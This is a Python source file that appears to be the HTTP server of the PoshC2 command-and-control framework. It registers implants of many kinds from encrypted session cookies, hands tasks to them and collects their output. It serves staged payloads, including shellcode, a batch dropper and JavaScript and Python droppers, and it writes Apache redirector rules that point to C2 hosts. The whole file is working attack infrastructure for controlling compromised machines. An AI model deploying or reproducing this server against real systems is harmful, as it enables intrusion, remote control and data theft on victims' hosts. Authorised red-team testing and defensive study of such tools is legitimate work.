Files
2024-10-11 11:22:39 +01:00

606 lines
26 KiB
Python

#!/usr/bin/env python3
import base64
import os
import shutil
import signal
import ssl
import sys
import threading
import time
import traceback
from datetime import datetime, date, timezone
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
from poshc2 import Colours, logo
from poshc2.Utils import validate_sleep_time, gen_key
from poshc2.server.Cert import create_self_signed_cert
from poshc2.server.Config import DatabaseType, PoshProjectDirectory, ServerHeader, PayloadsDirectory, GET_404_Response, \
PayloadCommsHost, ResourcesDirectory
from poshc2.server.Config import DownloadURL, URLS, SocksURLS, Insecure, UserAgent, Referer, Pushover_APIToken, UseHttp
from poshc2.server.Config import HostedFileURL, KillDate, DefaultSleep, DomainFrontHeader, urlConfig, BindIP, BindPort
from poshc2.server.Config import Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications
from poshc2.server.Core import decrypt, encrypt, default_response, number_of_days, print_bad, clear, print_good
from poshc2.server.ImplantExtensions import new_implant, display, autoruns
from poshc2.server.ImplantType import ImplantType
from poshc2.server.Tasks import save_task_output, new_task
from poshc2.server.database.Helpers import insert_object, update_object, select_first, select_all, get_new_implant_url, \
get_unread_messages
from poshc2.server.database.Model import C2Server, URL, HostedFile
from poshc2.server.payloads.Payloads import Payloads
new_implant_url = None
hosted_files = None
hosted_files_url = None
base_encryption_key = None
class MyHandler(BaseHTTPRequestHandler):
def signal_handler(self, signal, frame):
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def log_message(self, message, *args):
try:
useragent = str(self.headers['user-agent'])
except Exception:
useragent = "None"
webserver_log(f"{self.address_string()} - [{self.log_date_time_string()}] {message % args} {useragent}\n")
def do_HEAD(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_OPTIONS(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_PUT(self):
"""Respond to a PUT request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
try:
"""Respond to a GET request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
hosted_files = select_all(HostedFile)
webserver_log(f"GET request,\nPath: {str(self.path)}\nHeaders:\n{str(self.headers)}\n")
self.cookieHeader = self.headers.get('Cookie')
self.ref = self.headers.get('Referer')
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
task = new_task(self.path)
if task:
response_content = task
# dynamically hosted files
elif [ele for ele in hosted_files if (ele.uri in self.path)]:
for hosted_file in hosted_files:
if hosted_file.uri == self.path or f"/{hosted_file.uri}" == self.path and hosted_file.active == "Yes":
try:
response_content = open(hosted_file.file_path, 'rb').read()
except FileNotFoundError as e:
print_bad(
f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.uri} -> {e.filename}")
response_content_type = hosted_file.content_type
if hosted_file.base64 == "Yes":
response_content = base64.b64encode(response_content)
# do this for the python dropper only
if "_py" in hosted_file.uri:
response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
response_content = bytes(response_content, "utf-8")
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
implant_type = ImplantType.PowerShellHttp
if self.path == f"{new_implant_url}?n":
implant_type = ImplantType.UnmanagedHttp
if self.path == f"{new_implant_url}?p?n":
implant_type = ImplantType.UnmanagedHttpProxy
if self.path == f"{new_implant_url}?p":
implant_type = ImplantType.PowerShellHttpProxy
if self.path == f"{new_implant_url}?d":
implant_type = ImplantType.PowerShellHttpDaisy
if self.path == f"{new_implant_url}?m":
implant_type = ImplantType.PythonHttp
if self.path == f"{new_implant_url}?d?m":
implant_type = ImplantType.PythonHttpDaisy
if self.path == f"{new_implant_url}?p?m":
implant_type = ImplantType.PythonHttpProxy
if self.path == f"{new_implant_url}?c":
implant_type = ImplantType.SharpHttp
if self.path == f"{new_implant_url}?d?c":
implant_type = ImplantType.SharpHttpDaisy
if self.path == f"{new_implant_url}?p?c":
implant_type = ImplantType.SharpHttpProxy
if self.path == f"{new_implant_url}?j":
implant_type = ImplantType.JXAHttp
if self.path == f"{new_implant_url}?e":
implant_type = ImplantType.LinuxHttp
if self.path == f"{new_implant_url}?p?e":
implant_type = ImplantType.LinuxHttpProxy
if implant_type.is_sharp_implant():
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
domain, user, hostname, architecture, process_id, process_name, url_id = decrypted_session_cookie.split(
";")
url_id = url_id.replace("\x00", "")
if "\\" in user:
user = user[user.index("\\") + 1:]
new_sharp_implant, sharp_updated_config = new_implant(ip_address, implant_type, str(domain),
str(user), str(hostname), architecture,
process_id,
str(process_name).lower().replace(".exe", ""),
int(url_id))
display(new_sharp_implant)
autoruns(new_sharp_implant)
response_content = encrypt(base_encryption_key, sharp_updated_config)
elif implant_type.is_python_implant():
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
user, domain, hostname, architecture, process_id, process_name, url_id = decrypted_session_cookie.split(
";")
url_id = url_id.replace("\x00", "")
new_python_implant, python_core = new_implant(ip_address, implant_type, str(domain), str(user),
str(hostname), architecture, process_id,
str(process_name).lower(), url_id)
display(new_python_implant)
response_content = encrypt(base_encryption_key, python_core)
elif implant_type.is_jxa_implant():
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
user, hostname, process_id, process_name, url_id = decrypted_session_cookie.split(";")
domain = hostname
url_id = url_id.replace("\x00", "")
url_id = url_id.replace("\x07", "")
new_jxa_implant, jxa_core = new_implant(ip_address, implant_type, str(domain), str(user),
str(hostname), "x64", process_id, str(process_name).lower(),
url_id)
display(new_jxa_implant)
response_content = encrypt(base_encryption_key, jxa_core)
elif implant_type.is_linux_implant():
process_name = "Linux Dropper"
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
user, domain, hostname, architecture, process_id, url_id = decrypted_session_cookie.split(";")
url_id = url_id.replace("\x00", "")
new_linux_implant, linux_core = new_implant(ip_address, implant_type, str(domain), str(user),
str(hostname), architecture, process_id, process_name,
url_id)
display(new_linux_implant)
response_content = encrypt(base_encryption_key, new_implant.linux_core)
elif implant_type.is_unmanaged_implant():
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
user, domain, hostname, process_name, architecture, process_id, url_id = decrypted_session_cookie.split(";")
url_id = url_id.replace("\x00", "")
new_unmanaged_implant, unmanaged_core = new_implant(ip_address, implant_type, str(domain), str(user),
str(hostname), architecture, process_id,
str(process_name).lower().replace(".exe", ""), url_id)
display(new_unmanaged_implant)
response_content = encrypt(base_encryption_key, unmanaged_core)
elif implant_type.is_powershell_implant():
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
decrypted_session_cookie = decrypt(base_encryption_key, encrypted_session_cookie)
decrypted_session_cookie = str(decrypted_session_cookie)
domain, user, hostname, architecture, process_id, process_name, url_id = decrypted_session_cookie.split(
";")
url_id = url_id.replace("\x00", "")
ip_address = f"{self.client_address[0]}:{self.client_address[1]}"
if "\\" in str(user):
user = user[str(user).index('\\') + 1:]
new_powershell_implant, powershell_core = new_implant(ip_address, implant_type, str(domain),
str(user), str(hostname), architecture,
process_id,
str(process_name).lower().replace(".exe", ""),
url_id)
display(new_powershell_implant)
autoruns(new_powershell_implant)
response_content = encrypt(base_encryption_key, powershell_core)
else:
raise f"Unknown implant type: {implant_type}"
else:
response_code = 404
HTTPResponsePage = select_first(C2Server.get_404_response)
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
webserver_log(f"Error handling GET request: {str(e)}\n")
webserver_log(traceback.format_exc())
def do_POST(self):
try:
"""Respond to a POST request."""
response_code = 200
response_content_type = "text/html"
self.server_version = ServerHeader
self.sys_version = ""
try:
content_length = int(self.headers['Content-Length'])
except ValueError:
content_length = 0
self.cookieHeader = self.headers.get('Cookie')
if self.cookieHeader is not None:
encrypted_session_cookie = self.cookieHeader.replace("SessionID=", "")
else:
encrypted_session_cookie = ""
post_data = self.rfile.read(content_length)
webserver_log(
f"POST request,\nPath: {str(self.path)}\nHeaders:\n{str(self.headers)}\n\nBody:\n{post_data}\n")
save_task_output(self.path, encrypted_session_cookie, post_data)
response_content = default_response()
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if len(response_content):
self.send_header("Connection", "close")
self.send_header("Content-Length", str(len(response_content)))
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
webserver_log("Error handling POST request: " + str(e))
webserver_log(traceback.format_exc())
ThreadingMixIn.daemon_threads = True
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
def new_database():
print(f"Initializing new project folder and {DatabaseType} database" + Colours.GREEN)
print()
if not validate_sleep_time(DefaultSleep):
print(Colours.RED)
print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
sys.exit(1)
directory = os.path.dirname(PoshProjectDirectory)
if not os.path.exists(directory):
os.makedirs(directory)
if not os.path.exists(f"{directory}/downloads"):
os.makedirs(f"{directory}/downloads")
if not os.path.exists(f"{directory}/reports"):
os.makedirs(f"{directory}/reports")
if not os.path.exists(f"{directory}/payloads"):
os.makedirs(f"{directory}/payloads")
c2_server = C2Server(
payload_comms_host=PayloadCommsHost,
encryption_key=gen_key().decode("utf-8"),
domain_front_header=DomainFrontHeader,
default_sleep=DefaultSleep,
kill_date=KillDate,
get_404_response=GET_404_Response,
posh_project_directory=PoshProjectDirectory,
hosted_file_url=HostedFileURL,
download_url=DownloadURL,
proxy_url=None,
proxy_username=None,
proxy_password=None,
urls=URLS,
socks_urls=SocksURLS,
insecure=Insecure,
user_agent=UserAgent,
referer=Referer,
pushover_api_token=Pushover_APIToken,
pushover_api_user=Pushover_APIUser,
slack_user_id=Slack_UserID,
slack_channel=Slack_Channel,
slack_bot_token=Slack_BotToken,
notifications_enabled=EnableNotifications
)
insert_object(c2_server)
rewriteFile = f"{directory}/rewrite-rules.txt"
print("Creating Rewrite Rules in: " + rewriteFile)
rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none",
"SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off",
"# Change IPs to point at C2 infrastructure below", "# If running Apache 2.4.52 or Later", "Proxy100Continue Off" "Define PoshC2 10.0.0.1",
"Define SharpSocks 10.0.0.1"]
rewrite_file_contents = rewriteHeader + urlConfig.get_rewrite_rules() + urlConfig.get_socks_rewrite_rules()
with open(rewriteFile, 'w') as out_file:
for line in rewrite_file_contents:
out_file.write(line)
out_file.write('\n')
print("Copying urls.txt to the projects folder as a backup")
shutil.copyfile(f"{ResourcesDirectory}/urls.txt", f"{PoshProjectDirectory}/urls.txt")
url = URL(
name="default",
url=c2_server.payload_comms_host,
host_header=c2_server.domain_front_header,
proxy_url=None,
proxy_username=None,
proxy_password=None,
credential_expiry=None
)
insert_object(url)
new_payload = Payloads(c2_server.kill_date, c2_server.encryption_key, c2_server.insecure, c2_server.user_agent,
c2_server.referer, get_new_implant_url(), PayloadsDirectory,
url_id=url.id)
new_payload.create_all()
create_self_signed_cert(PoshProjectDirectory)
new_payload.write_quickstart_log(directory + '/quickstart.txt')
add_default_hosted_payloads()
return c2_server
def existing_database(c2_server):
print(f"Using existing {DatabaseType} database / project" + Colours.GREEN)
if (c2_server.payload_comms_host == PayloadCommsHost) and (c2_server.domain_front_header == DomainFrontHeader):
qstart = f"{PoshProjectDirectory}quickstart.txt"
if os.path.exists(qstart):
with open(qstart, 'r') as f:
print(f.read())
else:
print(Colours.YELLOW + "\nModified config detected! Regenerating payloads...")
if os.path.exists(f"{PoshProjectDirectory}payloads_old"):
shutil.rmtree(f"{PoshProjectDirectory}payloads_old")
os.rename(f"{PoshProjectDirectory}payloads", f"{PoshProjectDirectory}payloads_old")
os.makedirs(f"{PoshProjectDirectory}payloads")
update_object(C2Server, {C2Server.payload_comms_host: PayloadCommsHost, C2Server.hosted_file_url: HostedFileURL,
C2Server.domain_front_header: DomainFrontHeader})
url = URL(
name=f"updated_host-{datetime.strftime(datetime.now(timezone.utc), '%Y-%m-%d-%H:%M:%S')}",
url=c2_server.payload_comms_host,
host_header=c2_server.domain_front_header,
proxy_url=None,
proxy_username=None,
proxy_password=None,
credential_expiry=None
)
insert_object(url)
new_payload = Payloads(c2_server.kill_date, c2_server.encryption_key, c2_server.insecure, c2_server.user_agent,
c2_server.referer, get_new_implant_url(), PayloadsDirectory,
url_id=url.id)
new_payload.create_all()
new_payload.write_quickstart_log(PoshProjectDirectory + 'quickstart.txt')
add_default_hosted_payloads()
def add_default_hosted_payloads():
# adding default hosted payloads
hosted_file_url = select_first(C2Server.hosted_file_url)
hosted_file = HostedFile(
uri=f"{hosted_file_url}s/86/portal",
file_path=f"{PayloadsDirectory}Sharp_v4_x86_Shellcode.bin",
content_type="text/html",
base64="Yes",
active="Yes"
)
insert_object(hosted_file)
hosted_file = HostedFile(
uri=f"{hosted_file_url}s/64/portal",
file_path=f"{PayloadsDirectory}Sharp_v4_x64_Shellcode.bin",
content_type="text/html",
base64="Yes",
active="Yes"
)
insert_object(hosted_file)
hosted_file = HostedFile(
uri=f"{hosted_file_url}_bs",
file_path=f"{PayloadsDirectory}payload.bat",
content_type="text/html",
base64="No",
active="Yes"
)
insert_object(hosted_file)
hosted_file = HostedFile(
uri=f"{hosted_file_url}_rp",
file_path=f"{PayloadsDirectory}payload.txt",
content_type="text/html",
base64="Yes",
active="Yes"
)
insert_object(hosted_file)
hosted_file = HostedFile(
uri=f"{hosted_file_url}_cs",
file_path=f"{PayloadsDirectory}Posh_v4_DotNet2JS.js",
content_type="text/html",
base64="No",
active="Yes"
)
insert_object(hosted_file)
hosted_file = HostedFile(
uri=f"{hosted_file_url}_py",
file_path=f"{PayloadsDirectory}aes.py",
content_type="text/html",
base64="No",
active="Yes"
)
insert_object(hosted_file)
def log_c2_messages():
while True:
unreads = get_unread_messages()
if unreads:
for unread in unreads:
print(unread.message)
time.sleep(2)
def webserver_log(message):
open(f"{PoshProjectDirectory}webserver.log", "a").write(message)
def main(args):
httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
global new_implant_url, hosted_files, base_encryption_key, hosted_files_url
clear()
print(chr(27) + "[2J")
print_good(logo)
C2 = select_first(C2Server);
try:
if C2:
if len(os.listdir(PoshProjectDirectory)) > 2:
existing_database(C2)
else:
print(Colours.RED + "[-] Project directory does not exist or is empty \n")
print(Colours.RED + f"[>] Create new DB and remove dir ({PoshProjectDirectory}) \n")
sys.exit(1)
else:
C2 = new_database()
except Exception as e:
print(str(e))
traceback.print_exc()
print(Colours.RED + f"[>] Create new DB and remove dir ({PoshProjectDirectory}) \n")
sys.exit(1)
print("" + Colours.GREEN)
new_implant_url = get_new_implant_url()
print("STAGE URI: " + new_implant_url + Colours.GREEN)
hosted_files_url = select_first(C2Server.hosted_file_url)
print("HOSTED FILE URLI: " + hosted_files_url + Colours.GREEN)
print(f"WEBSERVER Log: {PoshProjectDirectory}webserver.log")
print("")
print("Comms Domains: " + select_first(C2Server.payload_comms_host) + Colours.GREEN)
print("HTTP Host Headers: " + select_first(C2Server.domain_front_header) + Colours.GREEN)
base_encryption_key = select_first(C2Server.encryption_key)
hosted_files = select_all(HostedFile)
print("")
print(time.asctime() + f" PoshC2 Server Started - {BindIP}:{BindPort}")
kill_date = datetime.strptime(C2.kill_date, '%Y-%m-%d').date()
date_difference = number_of_days(date.today(), kill_date)
if date_difference < 8:
print(Colours.RED + f"\nKill Date is - {C2.kill_date} - expires in {date_difference} days")
else:
print(Colours.GREEN + f"\nKill Date is - {C2.kill_date} - expires in {date_difference} days")
print(Colours.END)
if not UseHttp:
cert_file = f"{PoshProjectDirectory}posh.crt"
key_file = f"{PoshProjectDirectory}posh.key"
if (os.path.isfile(cert_file)) and (os.path.isfile(key_file)):
try:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS)
ssl_context.load_cert_chain(cert_file, key_file)
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
except Exception:
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ssl_context.load_cert_chain(cert_file, key_file)
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)
else:
raise ValueError("Cannot find the certificate files")
c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
c2_message_thread.start()
try:
httpd.serve_forever()
except (KeyboardInterrupt, EOFError):
httpd.server_close()
print(time.asctime() + f" PoshC2 Server Stopped - {BindIP}:{BindPort}")
sys.exit(0)
if __name__ == '__main__':
args = sys.argv
main(args)